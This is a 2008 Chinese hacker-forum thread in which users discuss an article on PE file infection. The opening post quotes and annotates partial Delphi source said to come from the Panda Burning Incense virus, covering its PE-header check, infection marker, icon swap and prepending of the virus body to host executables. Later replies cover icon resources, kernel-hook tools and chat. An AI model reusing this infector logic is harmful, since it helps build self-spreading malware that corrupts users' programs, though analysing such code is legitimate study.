黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客论坛 - 公共交流区 - 杂志相关 - 浏览 - [讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
您是本贴第 463 位浏览者 本版版主
浏览: [讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
  • Fireworm
  • 等级: 金牌VIP
  • 发贴: 116 贴
  • 货币: 0 金币
  • 积分: 2558 分
  • 经验: 650 点
  • 体力: 25755 点
  • 注册: 2008-07-01
[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
首先抱歉下,那个标题太长了,我偷懒没把全部名字打出来
  你所说的熊猫PE感染的问题,我在网上找了段代码,由于我的Delphi还算过得去,那些代码还算看得懂,于是就来丢丢人了。
  
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;             //病毒体的大小
IconOffset = $12EB8;           //PE文件主图标的偏移量
……(省略)
HeaderSize = 38912;             //Upx压缩过病毒体的大小
IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量
IconSize   = $2E8;             //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID       = $44444444;         //感染标记
这里看出PE文件主图标为744字节,但是熊猫是否感染文件的标准似乎不在这里
for i := 0 to $108 do //检查PE文件头
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
    begin
      IsPE := True; //是PE文件
以上检测PE文件头标志,如果是PE文件则执行感染代码,但是……

    SrcStream.Seek(-4, soFromEnd); //检查感染标记
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
    Infected := True;
这里可以看出有个SrcStream.Size的大小判断,小于10240字节的程序则不会感染(打上了infected的标记,但是没有真正感染)
熊猫使用了流(Stream)技术,用来感染文件

try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); //提取图标
aIcon.SaveToStream(IcoStream);  //存入流
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
这里可以看出除了主图标744字节限制之外还有一个字节的大小限制,由于对不同大小的图标文件进行替换需要用到隔行取值也就是StretchBlt函数,熊猫的源码里面貌似没有用到这东西,所以网上说的744字节大小的感染也许是正确的
由于本人Delphi基础不是很好,也许此文还有不足之处,还请各位高手多指教
高考完了才发现写代码比做题更累……
2008-8-9 11:17:07
  • ColdZenLeft
  • 等级: 黑客防线技术团队
  • 发贴: 152 贴
  • 货币: 0 金币
  • 积分: 1517 分
  • 经验: 1320 点
  • 体力: 12590 点
  • 注册: 2007-12-11
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
这个就真不好说了,我对Delphi的了解就象看文言文一样,大概了解,但具体不会。其实很有可能是发这代码的人藏了什么东西或是这只是他的个人理解...但是我当时想了很久,真的觉得自己的图标资源如果不够丰富,很难用PE方式感染对方(除了两种:1、用捆绑机的方式。2、资源更新,象VC等许多具有资源编辑的功能)。当然,也不排除我错理解了“熊猫”的真正原理,那这手法就成“原创”了,不过我不相信有这可能...

当然我当时搞这个图标感染同时在学PE知识,而这文章差不多是在程序弄出来6个月后的写的。最近在搞那查内核钩子程序很有进展,你可以去看贴图)。PE很久没弄了,如果下次再学,就从遍加壳程序开始了。这个我一点不会,貌似我记得你发的是与加壳有关,一定有空指教哦。
left has been left
2008-8-9 12:42:30
  • ColdZenLeft
  • 等级: 黑客防线技术团队
  • 发贴: 152 贴
  • 货币: 0 金币
  • 积分: 1517 分
  • 经验: 1320 点
  • 体力: 12590 点
  • 注册: 2007-12-11
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
虽然我年龄大你些,算你师哥。但是我的电脑编程年龄还真不见得有你长:
我以前高中没用过电脑,除了去网吧打CS和一些单机游戏(重返、荣誉系列)就是玩街机(打合金很强哦,老板宁愿退币都不让我玩),到大学连E-MAIL和QQ都不知道...被同学狂藐很正常。直到大一下学了C语言才有了转变。后来玩VC就感觉和打游戏一样过瘾。经常网吧刷夜就玩这些,只可惜现在还是这么菜,毕竟编程年龄顶多两年,还在上学不能天天耗。。。

本贴已被 作者2008-8-10 18:3:58 编辑过
left has been left
2008-8-9 12:54:15
  • Fireworm
  • 等级: 金牌VIP
  • 发贴: 116 贴
  • 货币: 0 金币
  • 积分: 2558 分
  • 经验: 650 点
  • 体力: 25755 点
  • 注册: 2008-07-01
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
我也觉得有这种可能,我记得Delphi的资源文件是存在RES里面的,而VC++又恰好能打开这个东西进行编辑,所以Delphi写出来的程序图标可以用VC++进行修正,例如32*32转16*16
合金弹头??我1可以一命通关,从2开始就不行了……6倒是看了牛人的视频,MARCO死了两个人通关……
编程我也不是很长时间,从高二(确切的说是高一下学期)才开始的,到现在也不过两年时间,虽说我那些同学都说我是牛人+高手……(其实是他们不懂电脑)
既然如此,我也留个邮箱吧,guoyuekun8@yahoo.com.cn
我也经常在CSDN泡,在Delphi版一般都能找到我,那个啥Windows SDK/API的第一个版主就是我……算了不说了,免得丢CSDN的脸……
不过我觉得你的驱动编写很厉害,我现在根本没法入门,看了半天发现自己C太差,只能下去画圈圈了。

本贴已被 作者2008-8-9 13:2:27 编辑过
高考完了才发现写代码比做题更累……
2008-8-9 12:56:17
  • ColdZenLeft
  • 等级: 黑客防线技术团队
  • 发贴: 152 贴
  • 货币: 0 金币
  • 积分: 1517 分
  • 经验: 1320 点
  • 体力: 12590 点
  • 注册: 2007-12-11
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
其实VC++6.0的资源编辑器除了对有些图片编辑不够好,其他的东西还很算人性化了,
要是他不是嵌在VC里而是象Spy++和Depends一样单列,我很想把它装到U盘当随身工具了
left has been left
2008-8-9 13:07:09
  • ColdZenLeft
  • 等级: 黑客防线技术团队
  • 发贴: 152 贴
  • 货币: 0 金币
  • 积分: 1517 分
  • 经验: 1320 点
  • 体力: 12590 点
  • 注册: 2007-12-11
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
合金我当时街机1、2都可以一命通,X有可能得接币。三代我们那里街机室后来有种可以选游戏的机子(一百多游戏),我一年前在那玩过,通全关4个币,后来出的代就萎了,至今Advance还没通呢。。。

我驱动入门看的黑防,后来在网上有资料,最重要还是反汇编啊,其实什么钩子(KDOM除外)完全可以理解为内核逆向,其实那查内核钩子程序编出来后,我都有点空虚了,感觉该看书了,毕竟我得考研啊!你留个联系方式在那邮箱,今后联系。
left has been left
2008-8-9 13:15:47
  • 诚妹
  • 等级: 黑客防线技术团队
  • 发贴: 156 贴
  • 货币: 0 金币
  • 积分: 2860 分
  • 经验: 1348 点
  • 体力: 11135 点
  • 注册: 2007-12-28
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
呵呵,难遇知心好友啊,黑防真是交流技术和交友的好平台啊,不知道我啥时候也能遇到个呢~~
争取成为特约作者!!
2008-8-9 15:19:45
  • VIP技术支持2
  • 等级: 黑客防线技术团队
  • 勋章:
  • 发贴: 1881 贴
  • 货币: 34 金币
  • 积分: 6411 分
  • 经验: 28996 点
  • 体力: 111260 点
  • 注册: 2007-05-25
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
StretchBlt函数仅仅是数据块缩放传输的功能和pe图标修改有何关系。

  图标修改这个其实没什么讨论的,,加载文件到内存,然后取得图标资源的偏移(可以用windows提供的资源相关函数或自己实现)和资源大小就可以了。 这时候然后直接替换或者在资源段构建icon结构即可。。

  呵呵,黑防的确是一个平台,真希望那天黑防能开一个技术沙龙,所有的作者能不时的来进行交流,聊天。 o(∩_∩)o...  一个不错的画面。。

  




最近刚做完手术,修养中..................
2008-8-9 15:59:45
  • Fireworm
  • 等级: 金牌VIP
  • 发贴: 116 贴
  • 货币: 0 金币
  • 积分: 2558 分
  • 经验: 650 点
  • 体力: 25755 点
  • 注册: 2008-07-01
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
我的意思是16*16图标与32*32图标之间的转换,由于ColdZenLeft兄所说的文章中提到了图标为特定大小的情况下才能感染成功,我是根据这点才发了这帖子的,如果有不准确之处还望小鱼老师多指教
高考完了才发现写代码比做题更累……
2008-8-9 17:52:50
  • ColdZenLeft
  • 等级: 黑客防线技术团队
  • 发贴: 152 贴
  • 货币: 0 金币
  • 积分: 1517 分
  • 经验: 1320 点
  • 体力: 12590 点
  • 注册: 2007-12-11
Re:[讨论]关于ColdZenLeft兄《感染PE》一文的一点看法
看来FireWorm看得真够认真的,其实就是你说的意思!

主要是我一直对“熊猫烧香第一式”——熊猫大变身(自己编的名词,就是变其它程序图标)很入迷,

甚至当时学PE就是为的它,PE算是我的黑客编程入门课了。而且鱼老说得对,其实变程序图标意义并不算大,PE
的应用很多啊,比如最近新编那个查内核钩子程序,如果没学PE是很难弄的,而且ring3的不当操作就是挂机的首要原因。

有关那个程序,我有点想完善好后,发到黑防来共享。其实不见得它有多好,主要是我这程序本身无钩子,不会象有些ARK软件一样打补丁和系统其他钩子绞到一起,为了稳定性我特意去掉了还原补丁的功能。而且大家也可以在中了象"磁碟机"后打不开IS也能作些分析。

但是IS的光芒太耀眼了,我真的不好意思拿出手来丢人!一直犹豫中...
left has been left
2008-8-9 19:05:34